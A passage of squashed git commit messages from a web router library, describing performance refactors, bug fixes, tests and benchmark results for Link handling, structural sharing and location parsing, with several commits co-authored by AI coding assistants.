* refactor(solid-router): stop treating _fromLocation as a Link prop
`_fromLocation` is an internal router option, not a Link prop: the Link
always builds from the location its match presents.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* refactor(vue-router): stop treating _fromLocation as a Link prop
`_fromLocation` is an internal router option, not a Link prop: the Link
always builds from the location its match presents.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* refactor(react-router): drop _fromLocation from the Link's option keys
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---------
Co-authored-by: Claude Fable 5.1 <noreply@anthropic.com>
Tests written for #8602 that already pass on main: rewrites of Link tests
that asserted on a detached anchor after its route unmounted, and Link
destination tests for Solid, Vue and React (in-place store/reactive inputs,
inherited params, masks, frozen options, state-only navigations).
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
* test(benchmarks): add a client-nav scenario for departing, staying and mounting Links
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* test(benchmarks): size link-churn to 60 staying and 200 departing Links
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* test(benchmarks): halve link-churn to 30 staying and 100 departing Links
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
* fix(history): keep a leading query or fragment out of parseHref's pathname
parseHref compared the '?' and '#' indexes with '> 0', so an href that
starts with a query or fragment (reachable via hash history '/#?x=1'
or memory entries) kept it in the pathname as well, and the router
location became '?x=1?x=1'.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* perf(history): read hash-history locations with indexOf/slice
Replace split('#').slice(1)/join('#') with one indexOf and two slices
when reading the hash-history location. Characterization tests from
#8351 cover nested fragments, encoded '#', and an empty hash.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* perf(router-core,history): use slice where substring bounds are ordered
Every converted call has non-negative, ordered bounds (fixed offsets,
indexOf results within the same segment, or guarded by a '<' check).
extractParams' affix-stripping calls and the wildcard-tail suffix in
parseSegments keep substring: their bounds can cross.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* perf(router-core,history): drop a duplicated flag and a createHref wrapper
buildLocation's currentMatch now reads the location through current(),
which already marks the build as location-dependent. Browser history
passes its createHref directly; createHistory already wraps it.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
/lazy-css-lazy and /lazy-css-static both render `shared-widget`, and the URL
updates before the departing route unmounts, so assertions after `waitForURL`
could hit the old widget while it was being detached and read `""`. Wait for a
destination-only marker and use retrying `toHaveCSS` assertions instead.
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
* test(react-router): cover cached link selector reruns
* test(react-router): type configurable trailing slash fixture
* test(react-router): use type import in selector benchmark
* test(react-router): benchmark inactive dynamic destinations
* perf(react-router): reuse link selector results
* perf(react-router): resolve external links once per selector
* perf(react-router): shrink link state classification
* perf(react-router): shrink external link expression
* perf(react-router): shrink link state classification [Self-Healing CI Rerun]
* test(react-router): address link selector review cleanup
---------
Co-authored-by: nx-cloud[bot] <71083854+nx-cloud[bot]@users.noreply.github.com>
* perf(router,start): update Seroval to 1.6.6
* perf(router,start): update Seroval to 1.6.7
* chore: update seroval to 1.6.7
seroval and seroval-plugins were pinned to ^1.6.2 while 1.6.7 is the
current release. The type surface is additive: two new options
(maxBase64Length, compactArrayBufferViews) and an isStream export.
Bundle (gzip): router-only scenarios unchanged; Start client bundles
grow 532-642 bytes from the upstream typed array and base64 handling.
react-start.minimal 98504 -> 99039 (+535).
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
---------
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
* perf(benchmarks): compress bundle-size outputs once
* add link to readme in skill
* ci: apply automated fixes
* fix(benchmarks): persist timing flag in measurement command
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
* perf(router-core): split replaceEqualDeep into an equality scan and a copy phase
`replaceEqualDeep` compared and copied in one loop. Every entry, also on
the common all-equal path, paid for the copy bookkeeping (`copy ??=`,
`if (copy) copy[key] = n`), an `equal` flag and — for objects — a
`hasOwn.call(prev, key)` lookup, while arrays and objects shared the
same keyed accesses through `array ? i : keys[i]`, so every access site
saw both element and named keys.
The function now runs in two phases:
- Scan: walk `next` up to the first difference, sharing equal children
on the way. Arrays and objects have their own loop, so each keyed
access only ever sees one kind of key and nothing is allocated while
entries keep matching. A key at the same position of both key lists
is proven to be `prev`'s own key; only reordered keys still need
`hasOwn`. When everything matched and the key counts agree, `prev` is
returned.
- Copy: equality is ruled out, so the loop only builds the result. The
scanned prefix is shared from `prev`, the first differing entry keeps
the value the scan already computed, and the rest is resolved without
any equality bookkeeping.
Only an object entry of `prev` can share anything, so the recursion is
guarded by a single `typeof` check; `null` and mismatched types return
`next`'s entry through the entry checks. `isPlainArray` is no longer
used here: the array check reuses the `Object.keys` result that the
scan needs anyway. Semantics are unchanged: pass-through for
non-enumerable keys and for symbol keys on `next`, null-prototype
copies, the depth limit and the SSR early return all stay as they were,
and the tests pass against both implementations.
Bundle size (`benchmark:bundle-size`, gzip): react-router.minimal -1 B,
react-router.full -18 B, all 18 scenarios net -110 B (13 down, 5 up,
max +20 B on react-start.full for identical code).
Paired runs against the previous version (hz medians of 3 runs,
1000 calls per iteration; the machine was under load, so single-digit
differences are noise):
equal flat search 5.96k -> 6.98k (+17%)
equal nested search 2.47k -> 2.83k (+14%)
equal array of objects 524 -> 579 (+10%)
equal long primitive array (1024) 49 -> 69 (+39%)
long primitive array, last item changed 37 -> 41 (+11%)
wider flat object (64 keys), last changed 218 -> 229 (+5%)
flat search, one changed leaf 5.31k -> 5.59k (+5%)
array of objects, one changed item 483 -> 513 (+6%)
flat search, all leaves changed 5.29k -> 5.35k (+1%)
array of shared objects, one changed 1.61k -> 1.44k (-10%, ±29%)
Entries that change between an object and a primitive now pay one
recursive call instead of an inline four-way type check; guarding both
sides costs more bundle bytes than this branch is worth.
Adds tests for the scan/copy boundary (equal children and next-only
keys after the first difference, reordered keys, object/primitive
transitions, shorter and longer arrays, a change in the last of 1024
entries, the depth limit) and bench cases for the shapes that told the
candidate implementations apart.
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
* fix(router-core): keep sparse arrays with extra keys opaque in replaceEqualDeep
The plain-array check compares `Object.keys(array).length` with
`array.length`. A hole and an extra enumerable key cancel out in that
count, so `Object.assign([1, ,], { extra: 'x' })` was admitted: the
index-based copy dropped `extra` and turned the hole into an explicit
`undefined`, and an index-wise equal `prev` was returned for it. The
same blind spot exists in the exported `isPlainArray`, which the
previous implementation used for this check.
Extra string keys always sort after the index keys, so once the count
matches, `next` is a dense index-only array exactly when its last key
is its last index. That is one string comparison per array instead of
a per-key validation, and it stays inline with the existing count
check. `prev` keeps the count check only: a result is either a copy
built from `next`'s entries or `prev` itself, which the caller already
holds.
Symbol keys on arrays stay admitted, as before this stack: checking
them costs an `Object.getOwnPropertySymbols` call per array pair, which
measured ~8% on the equal nested search shape (a record holding a
four-element array), and `react-router.minimal` +3 B on top of the
+13 B gzip of this fix.
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
---------
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
Every object pair `replaceEqualDeep` visited paid for three native key
lookups per side: `Object.keys`, `Object.getOwnPropertyNames` (to detect
non-enumerable props) and `Object.getOwnPropertySymbols`. Measured on a
4-key literal the first two cost 7.6 ns and 10 ns, the symbol lookup
34 ns — 31 ns even on `{}` — so two thirds of the enumeration cost went
into a key type that router data never carries. (`Reflect.ownKeys` as a
single replacement call was tried and is 100 ns.)
Symbol keys and non-enumerable keys still have to be handled correctly:
Apollo's `preloadQuery` refs carry symbol keys and broke under
`defaultStructuralSharing` when copies dropped them (#4237). Instead of
comparing and copying such objects key by key, they are now opaque: an
object with non-enumerable own keys on either side, or symbol keys on
`next`, makes `next` pass through untouched. That keeps both guarantees
that matter — no partial copy, no stale `prev` returned for it — and only
gives up structural sharing for those objects.
`prev` is not scanned for symbols on purpose. It is normally an earlier
`next`, so a symbol-carrying `prev` meets a symbol-carrying `next` and the
`next` check fires; a symbol-carrying `prev` with a symbol-free, otherwise
equal `next` returns `prev` (covered by a test). Plain objects are now
compared and copied by `Object.keys` alone, and `getEnumerableOwnKeys`
is gone.
Paired runs against the previous version (hz, 1000 calls per iteration):
equal empty objects 14.8k -> 18.3k (+24%)
equal empty null-proto objects 5.1k -> 6.3k (+24%)
equal flat search 7.3k -> 8.2k (+12%)
flat, one changed leaf 6.1k -> 6.9k (+12%)
equal nested search 3.0k -> 3.1k (+4%)
nested, sharing subtrees 2.6k -> 2.7k (+7%)
equal array of objects 609 -> 729 (+20%)
array, one changed item 551 -> 640 (+16%)
wide (12 keys) changed, null-proto 1.8k -> 2.0k (+9%)
Tests now document the pass-through contract for symbol-keyed objects,
including the deliberate `prev`-only asymmetry.
* perf(router-core): check plain objects by constructor
`isPlainObject` gates every recursion step of `replaceEqualDeep` and
`deepEqual`, so it runs at least twice per object pair, on every nested
level, on every navigation and Link build. The previous implementation
(copied from `is-plain-object`) called `Object.prototype.toString` on the
value and again on its constructor's prototype, plus a `hasOwnProperty`
lookup: up to four `toString` dispatches per compared pair, most of them
spent confirming that `{}` is a plain object.
The check is now a single expression:
!!o && typeof o === 'object' && (o.constructor ?? Object) === Object
Object literals, `JSON.parse` output and `Object.create(literal)` inherit
`Object` as their constructor; `Object.create(null)` objects (the router's
search and params objects) have none, which `?? Object` accepts. Class
instances, arrays, `Map`, `Date`, functions and primitives fail it, as
before. The only accept-set differences are objects from another realm
(an iframe's `Object` is not `===` ours) and objects with a custom
`Symbol.toStringTag`; neither occurs in router state.
Paired runs against the previous version (hz, 1000 calls per iteration):
deepEqual equal empty objects 25.6k -> 59.4k (+132%)
deepEqual nested, one changed leaf 11.3k -> 22.8k (+102%)
deepEqual equal flat (partial) 23.0k -> 39.7k (+73%)
replaceEqualDeep equal empty objects 10.6k -> 14.9k (+40%)
replaceEqualDeep equal array of objs 489 -> 604 (+24%)
replaceEqualDeep equal nested 2.4k -> 2.8k (+19%)
replaceEqualDeep equal flat search 6.0k -> 7.0k (+17%)
Adds an accept/reject table for `isPlainObject` and checks that class
instances stay opaque to structural sharing while null-prototype and
literal objects compare as equal.
* fix(router-core): keep records with a constructor key plain
`?constructor=foo` decodes to an own `constructor` data key on the
null-prototype search record, and `(o.constructor ?? Object) === Object`
read that key. Such records (and the `{ ...search }` copies of them) were
classified as non-plain, so `replaceEqualDeep` handed back `next` without
sharing and `deepEqual` reported them unequal.
Keep the constructor comparison as the fast accept: it is an inline-cache
load for literals and null-prototype records and is what the PR's speedup
comes from. When `constructor` is anything else, consult the actual
prototype instead of rejecting: `null` or one whose `constructor` is
`Object` means a record, anything else a class instance. The prototype
lookup is a builtin call (~6ns in megamorphic optimized code), so running
it unconditionally would return most of the gain: median hz over 3
rotated rounds, `replaceEqualDeep` equal empty 10.9k -> 8.6k (-21%),
equal array of objects 470 -> 386 (-18%), `deepEqual` equal empty
58.0k -> 35.9k (-38%). With the fallback only on the mismatch path the
hot cases stay within noise of the shortcut and the constructor-key
cases now do the sharing work at the same cost as other null-prototype
records. `react-router.minimal` gzip is +15 B against the shortcut and
still 44 B below the `toString` implementation.
Benchmarks the predicate directly (literal, null-prototype record, record
with a constructor key, class instance) and sharing of a search record
that carries a constructor key. Tests both record shapes and parser
output, all `constructor` value types, and that a class instance with an
own `constructor` key stays opaque.
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
---------
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
`replaceEqualDeep` runs on every navigation and Link build: search,
params, state and loader data all go through it, and in the common case
`next` turns out to be deeply equal to `prev`. Until now the function
still allocated the result object (or array) up front and filled it key
by key while comparing, only to throw it away and return `prev`.
The copy is now created at the first difference. Everything compared
before that point is known to be equal and is taken from `prev` in one
pass (`copyItems`), so unchanged subtrees are shared exactly as before.
When nothing differs, nothing is allocated; when only the key sets
differ, the copy is built after the loop.
Smaller changes in the same function:
- deep equality is a single `equal` flag instead of a matched-key count
compared against the sizes afterwards; once unequal, the `hasOwn`
check for keys that only `next` has is skipped
- `nullReplaceEqualDeep` passes a boolean instead of an object factory,
so the plain variant no longer evaluates a default `() => ({})` per
call and the copy site has no indirect call
- an overload signature keeps the generic return type without the
`_next` alias in the emitted code
- `getEnumerableOwnKeys` loops over `getOwnPropertySymbols` directly;
an empty loop needs no early return
`tests/replace-equal-deep.bench.ts` was added first, with the shapes the
router feeds these helpers. Paired runs against the previous version
(hz, 1000 calls per iteration):
equal empty objects 10.0k -> 10.6k (+6%)
equal flat search 5.3k -> 5.9k (+12%)
equal nested search 2.2k -> 2.4k (+13%)
equal array of objects 445 -> 485 (+9%)
flat, one changed leaf 5.4k -> 5.2k (-3%)
wide (12 keys) changed 2.4k -> 2.2k (-11%)
The equal paths win and allocate nothing; the copy paths pay for the
extra call and the per-key `copy` check.
* refactor(router-core): parse masked locations without mutating shared state
`parseLocation` built the presented location of a masked entry by parsing
the stored `__tempLocation` and then patching and `delete`-ing keys on the
resulting `state`, which `replaceEqualDeep` may have shared with the
previous location, before spreading the result once more. The inner parser
now takes the state to use, so the masked branch passes the intended state
up front and assigns `maskedLocation` on the fresh object.
The slow parsing path only runs the input rewrite when one is configured,
and `resolvePathWithBase` is inlined into its two callers.
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
(cherry picked from commit cc6159628cd22faf9c16e6e432cb35093b2826a8)
* refactor(router-core): remove redundant input rewrite guard
---------
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
`resolvePath(base, to, trailingSlash?, cache?)` replaces the options object,
so `resolvePathWithBase` — called from `buildLocation` and `matchRoute` —
no longer allocates per path resolution. `resolvePath` is an internal
helper. react-router.minimal shrinks by 17 B gzip (60 raw).
(cherry picked from commit de7bc72a952aaf77bbedfd4453a4d12edadaad53)
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
* perf(router-core): parse the location once in update and build rewrites without arrays
- update(): compute the basepath/rewrite before the single updateLatestLocation
call; the first update always saw basepathWasUnset, so every router
construction parsed the location twice and re-published to a store created
from the same location.
- invalidate(): fill the id set in one pass instead of spread/flat/filter/map.
- rewriteBasepath(basepath, caseSensitive?) takes positional arguments (it is
internal) and the output rewrite uses cleanPath on a template string instead
of joinPaths' array/filter/join.
- parseLocation(): inline the single-use fullPath local.
react-router.minimal 86019 -> 85989 gzip, react-router.full 89605 -> 89561 gzip.
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
(cherry picked from commit 64978a1c8a8b5926c53797edcb528159c70ab093)
* perf(router-core): parse the location once in update and build rewrites without arrays [Self-Healing CI Rerun]
* test(router-core): cover basepath rewrite composition and updates
* perf(router-core): specialize internal basepath rewrites
* fix(router-core): key server route caches by case sensitivity
---------
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
Co-authored-by: nx-cloud[bot] <71083854+nx-cloud[bot]@users.noreply.github.com>
Mirrors what useLinkProps does on every location publication: 32 links, each
with a stable dest object, pointing _fromLocation at a fresh location and
calling router.buildLocation inside their selector. Covers the static-cache
hit, search updaters (with and without middleware), relative destinations,
inherited params and masks. Baseline (Node 24.8, hz, mean of two runs):
static cache hit 1,928,000 search updater 41,600
+ retainSearchParams 30,850 relative 29,800
params: true 35,050 masked 20,500
(cherry picked from commit d4787b65e25e0817f747fc3c6dc0209889ffe174)
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
`useLinkPropsFor` existed only to keep the `host` argument off the public
`useLinkProps` signature. Fold it into `useLinkProps` behind an `@internal`
overload; `stripInternal` removes that overload from the published
declarations, so the public signature stays `(options, forwardedRef?)`.
react-router.full shrinks by 24 B gzip.
(cherry picked from commit 918d3050850815abc8ae49518befda61cb29bf7b)
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
`deepEqual(a, b, partial?, explicitUndefined?)` replaces the options
object. The hot callers (Link option stabilization and active-state checks,
matchRoute) no longer allocate `{ partial }` / `{ ignoreUndefined: false }`
per comparison, and the comparator reads two booleans instead of an options
parameter that saw four object shapes. `explicitUndefined` (falsy default)
replaces `ignoreUndefined: false` and reuses the `activeOptions` vocabulary.
deepEqual is an internal helper; two-argument callers are unaffected.
react-router.minimal shrinks by 48 B gzip (129 raw) on top of the previous
commit; the Link stabilization micro-benchmark improves by ~10% and the
paired Link component runner resolves three cases as faster.
(cherry picked from commit d6f2c1ca55a4900b33868cfc115ac7120d68d26b)
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
Compare array elements by identity before recursing, count the exact
comparison down with a single counter, and drop the `typeof` early exit,
which `Array.isArray`/`isPlainObject` already imply. Behavior, key
enumeration and getter read order are unchanged (pinned by the new contract
test).
Measured in one mixed-mode process (all option modes share the function's
type feedback, which is how the router uses it): equal numeric arrays ~+65%,
flat records +7-9%, nested records and mismatches +7-8%; every case
improves. Identity guards inside the object loops were rejected: they grow
the recursive function past what V8 keeps inlining and cost -31% on a
single-key mismatch. react-router.minimal shrinks by 4 B gzip.
(cherry picked from commit cb23ed54757255540cb203081c3423524d6483ca)
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
* chore(benchmarks): remove TSR_LINK_PERF opt-in flag
The router-core Link/path benchmarks and the react-link-performance
project are never part of the CodSpeed matrix or the client-nav/SSR
aggregate projects, so the env-var gate only added friction. Rely on
standard vitest name filtering (-t) to narrow runs instead.
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
* fix(router-core): treat 0 and false as provided _splat values
Splat interpolation used a falsy check, so _splat: 0 was omitted like a
missing param while $id: 0 interpolated to '/0'. Only undefined, null,
and '' now omit a splat segment, matching how other path params are
stringified.
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
* test(router-core): use path-derived ids in original-param-names fixtures
The matcher only uses route ids as routesById keys and for the pathless
'_' check, so unrelated ids worked but never occur in a real router.
Align the fixtures with the sibling test file's convention where each
id mirrors its fullPath.
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
* perf(solid-router): shorten conditional Link class and style spreads
Spread `cond && { value }` instead of `cond ? { value } : undefined`,
matching the neighbouring `active && STATIC_ACTIVE_ATTRIBUTES` spread.
Falsy operands spread to nothing, so the emitted props are unchanged.
Measured with the bundle-size benchmark on solid-router.full:
gzip 39205 -> 39198 (-7), raw -12, brotli -33.
Covered by the existing `six-adults-open` changeset.
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
* test(router-core): drop the unused server axis from interpolatePath tests
The `interpolatePath (server: $server)` block never read its `server`
argument since interpolation stopped taking a server flag, so it ran every
case twice under a misleading label. The remaining diff is re-indentation;
review with `git show -w`.
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
* test(router-core): interpolate paths through the production API in tests
`interpolateTestPath` only survived as a compatibility layer from the
segment-reuse refactor: it emulated the removed
`(path, params, decoder, usedParams, keys, metadata)` signature by parsing
the template, re-implementing the param-name loop and folding
`hasMissingPathParams` into a metadata flag.
Call the real functions instead. Tests now parse templates with
`parseSegments(false, { fullPath }, 0)` exactly like `buildLocation` does
for templates without a processed route, pass the segments to
`interpolatePath`, and read names and availability from `getParamNames`
and `hasMissingPathParams`. The prepared-route tests compare route-owned
segments against that standalone parse directly, and the interpolation
bench derives its reference values the same way.
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
---------
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
`buildLocation` matched the current location up front for every build,
although the result is only read by relative destinations, inherited
params, `search: true` or updater functions and search middlewares. An
absolute destination with its params given, on a branch without search
middlewares, never reads it, yet still paid three store reads and a
WeakMap lookup per call. The match is now computed on first read, and the
destination template is scanned for `$` once instead of twice.
Server `buildLocation` of `/items/$itemId` with params on a middleware-free
tree: 399 -> 382 ns per call (-4%). Builds that read the current match are
unchanged. react-router.minimal gzip +4 (86008 -> 86012, the stack base).
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
* perf(react-router): memoize Link and forward refs without an effect
When a layout re-renders on navigation, for instance because it reads
`useLocation`, every Link below it re-renders too. Profiling 200 mounted
Links showed that re-render dominated by React's per-hook update work, the
element creation and the anchor's prop diff, not by the Link's own logic.
A Link's output depends only on its props, the router context and the
location store, all of which React tracks for memoized components, so
`Link` is now wrapped in `React.memo`. Router options are compared by
value, because destinations are usually inline object literals; element
props are compared by reference, since they may hold arbitrary, even
cyclic, user data. The comparator reuses `ROUTER_OPTION_KEYS`.
The memo adds one fiber per Link. To pay for it, `useForwardedRef` goes:
its `useImperativeHandle` was the only layout effect on a Link and ran for
every Link although most never receive a ref. The link keeps a plain
`useRef`; when a ref is forwarded, one callback fills both. The hook had no
other consumer. `enqueuePreload` no longer doubles as the cleanup path: the
preload effect cancels the intent timer directly.
Measurements (macOS arm64, Node 24.8.0, local, against the previous commit):
- Link client paired runner, 200 Links under a re-rendering layout
(3 repeats): shared-params CPU -54%, masks -56%, rewrites -60%; links
whose props can never compare equal (updater functions, inline
`activeProps` functions) param-updaters +2.5% [-5.2, 10.9],
location-updaters -1.0%, active -2.0%, all inconclusive.
- retained heap per mounted app 2782 -> 2738 KB; mount unchanged within
noise (the memo fiber and the removed layout effect cancel out).
- react-router.minimal gzip 85968 -> 86008 (+40); the branch stays 4 bytes
under the stack base.
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
* fix(react-router): memoize the Link's merged ref callback
The merged ref that fills a forwarded ref alongside the link's own ref was
an inline closure, so every Link render produced a new callback and React
detached and re-attached it: a consumer's callback ref was called with
`null` and then the element again on each location-driven re-render
(3 calls after one navigation instead of 1), and an object ref was cleared
and refilled inside the commit. `useImperativeHandle(ref, ..., [])` on main
only re-ran when the consumer's ref changed.
The callback is now memoized with `useCallback` on the forwarded ref, which
restores that contract: the consumer is notified on mount, when their ref
changes and on unmount. A cleanup returned by a consumer callback is still
passed through to React. Nothing reads `innerRef.current` after a detach
without a re-attach, so the wrapper that would clear it on cleanup is left
out (+19 gzip for no observable behavior).
`areLinkPropsEqual` keeps the same rule but states it in two steps, since
the nested condition read as if `children` were deep-compared: element
props (`children`, handlers, `style`, ...) only match by reference, and
only router options fall through to `deepEqual`.
Tests pin all three: a stable callback ref stays at one call across a
location change and is released when swapped, a returned cleanup runs on
unmount instead of a `null` call, and a new JSX child or a cyclic element
prop re-renders the Link instead of being compared deeply. The ref test
fails on the previous commit with `expected 1 call, got 3`.
Measurements (local: macOS arm64, Node 24.8.0, production React 19.2.3):
- `react-router.minimal` gzip 86008 -> 86004 (-4). The comparator
restructure alone is -2; `useCallback` without the cleanup wrapper is
neutral, the wrapper would have been +19.
- Mount of the 200-Link benchmark app, medians of 60 runs: 4.97 ms with
`useImperativeHandle` (main's mechanism on top of this branch), 4.71 ms
with the inline callback, 4.69 ms memoized. Retained heap per mounted app:
-23 KB against `useImperativeHandle` (its layout effect keeps an effect
node, a bound function and two deps arrays per fiber pair).
- Paired client runner, 3 repeats, memoized vs `useImperativeHandle`: 12/13
workloads inconclusive, `rewrites` -4.6% [-9.0, -0.2]. Memoized vs the
inline callback: +2.5% [1.4, 3.7] on `param-updaters` and +1.4% [0.4, 2.5]
on `relative`, where every Link re-renders per navigation and pays the
extra hook; the other 11 workloads are inconclusive.
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
---------
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
A Link render ran about 25 hook slots. React allocates a hook object per
slot per render, plus a deps array for every memo, callback and effect, so
the slots set both the re-render cost and the retained fiber memory of a
mounted Link. Five of them did not need to exist:
- The three `useValueStable` refs for `search`, `params` and `activeOptions`
become one `useStableValues` ref that replaces each entry only when its
own contents change, so identities behave exactly as before.
- `_options` and its `dest` copy come out of one memo instead of two.
- `doPreload` is a module function, `preloadLink(router, options)`; the
callback existed only to give the effects a stable identity.
- The IntersectionObserver effect and the render-preload effect merge into
one preload effect whose cleanup also cancels a pending intent timer, as
the observer hook's cleanup did. `useIntersectionObserver` had no other
consumer and is removed.
`hasRenderFetched` stays: without it a link with an updater-function
`search` would preload on every render.
Measurements (macOS arm64, Node 24.8.0, local, 200 mounted Links):
- retained heap per mounted app 2949 -> 2782 KB (-6%, about -0.8 KB per Link)
- mount (router creation + first render) median 2.05 -> 1.90 ms
- Link client paired runner (4 repeats): shared-params CPU -3.0%
[-5.3, -0.6], active -3.3% [-8.4, 2.1]
- react-router.minimal gzip 85984 -> 85968 (-16)
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
The client and the server each kept their own copy of the 35 option names:
the client as an object-rest destructure, the server as a Set. The two
paths then assembled the result differently, with an eleven-spread external
return and a fourteen-entry literal on the client and a fill-in-place
sequence on the server.
Both now share two helpers. `collectElementProps` copies every option the
router does not consume, using one `ROUTER_OPTION_KEYS` set plus the two
host rules (`Link` hosts never render `type`, an anchor has no `disabled`).
`applyLinkState` finishes a router-controlled link: the selected state
props, then the routing attributes and the merged class and style. It is
the one place that defines precedence and absorbs `resolveStateProps`. The
client adds its composed handlers between the two; the server adds
nothing. External links return the collected props with `ref` and `href`.
Element props therefore pass through as given instead of being stripped
and re-added: external links forward them verbatim, falsy values included,
and `useLinkProps` returns `children` for router-controlled links as it
already did for external ones. Class and style are assigned only when the
link or its state props provide one, so links without them carry no
`undefined` keys and empty strings are still dropped.
Measurements (macOS arm64, Node 24.8.0, local, against the previous commit):
- react-router.minimal gzip 86019 -> 85984 (-35); -28 against the stack
base, which this branch previously exceeded by 7.
- Link client paired runner (3 repeats): shared-params CPU -13.8%,
unique-params -11.4%, middleware -8.6%, encoding -13.2%, active -16.9%,
all "faster". A 35-key object rest costs about 440 ns per call, the key
set copy about 50 ns.
- Link SSR paired runner (6 repeats): +0.4% to +1.5%, inside the runner's
+/-4% noise floor measured head-against-head. SSR bundle 189850 -> 189523.
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
* perf(router): keep the location cache client-only and slim Link SSR
The per-options location cache from the location-reuse changes only ever
hits on the client: server renders never repeat an options object, yet
every server build still created the WeakMap, looked it up per build, and
Solid/Vue server Links stored an entry per render. All three sites are now
guarded by `!(isServer ?? this.isServer)`. `isServer` is a per-bundle
constant, so server bundles contain no cache at all (the Link SSR bundle
has zero references); client bundles keep it unchanged.
Rendering a React Link on the server copied its props four times: `Link`
split off `_asChild`, `useLinkProps` split the router options off with an
object rest, the result was assembled with spreads, and `Link` copied once
more to drop `type` and `disabled`. Profiling showed the object rest alone
was 85% of the hook's self time: V8 checks every key against the whole
35-entry exclusion list (about 470 ns per call versus 95 ns for a key-set
copy).
`useLinkProps` is now a wrapper over `useLinkPropsFor(options, ref, host)`.
`Link` passes its host (`'a'` or the `createLink` component), so the hook
omits `disabled` for anchors and `type` for both, and `Link` passes the
result straight to `createElement`. The server branch is a separate
`getServerLinkProps` referenced only inside the `isServer` check, so it and
its key set are dropped from client bundles; it reads the few options it
needs, splits element props with the key set, fills the props object in
place with the same precedence and attribute order as before, and no
longer runs `useForwardedRef` (moved after the server return). The client
keeps its rest destructure; the host handling costs a few bytes there,
mostly paid back by the folded router-core guards (numbers below).
`encodePathLikeUrl` tests with one merged character class
(`/[\s\u0080-\uFFFF]/`), which matches exactly the same code units as the
alternation it replaces and is about 10% cheaper.
Measurements (macOS arm64, Node 24.8.0, local):
- Link SSR paired runner (ABBA, 4 fresh processes per case) against the
previous stack top: all 13 cases faster, CPU -19.5% to -40.3%.
- Link client paired runner: all 13 cases faster, CPU -4.6% to -9.2%.
- Start SSR request loop (benchmarks/ssr, react), interleaved builds:
3.120 -> 2.890 ms per loop (-7.4%), 320.5 -> 346.1 hz.
- Client bundle react-router.minimal gzip: 86012 -> 86021 (+9; raw +7,
brotli -22): the router-core guards fold to -12, the Link host handling
costs +19. The Link SSR bundle shrinks from 197832 to 189989 bytes.
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
* refactor(react-router): one state-prop precedence rule for every Link
Active and inactive state props overrode `ref` and the event handlers on
every link except a blocked one (a destination with a disallowed scheme),
where the forwarded ref and the router's handlers won. The exception dates
from the hardening change, whose test observed the then-general "router
wins" rule on a blocked link; when state props were later allowed to
override element props, blocked links were carved out to keep that test
green rather than by design. It bought no safety: `href`, `disabled` and
`target` are assigned after the state props in both orders, which is what
actually keeps a blocked destination inert. It did make the same
`inactiveProps` attach their `ref` and `onClick` on one inactive link and
silently drop them on another, and it differed from Solid's Link, which
applies one rule.
Blocked links now follow the same precedence as every other link: state
props override element props, `ref` and handlers; the routing attributes
always win. The server branch loses its if/else, the client loses the two
conditional spreads and the `blockedLink` flag. The blocked-link test now
pins the uniform rule together with the routing attributes it already
checked.
Measurements (macOS arm64, Node 24.8.0, local, against the previous commit):
- react-router.minimal gzip 86021 -> 86019 (-2), raw -38, brotli -33.
- Link client paired runner (3 repeats): shared-params CPU -11.6%
[-15.1, -7.9], encoding -13.2% [-20.2, -5.7].
- Link SSR paired runner: within noise. SSR bundle 189989 -> 189850 bytes.
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
---------
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
CodSpeed's memory instrument flagged the interrupted-navigations client
benchmark on the location-reuse changes (react +14.6%, vue +29.8%, solid
+10.8% peak memory). Under its worker flags (`--no-opt --predictable`,
single threaded) that benchmark's peak is set by a synchronous Maglev
compile that happens inside the measured run.
`getSearchMiddlewares` is compiled during the preparation calls and then
deoptimized on the first property load off a route's options. Before,
its only caller was the small `applySearchMiddleware`, which Maglev
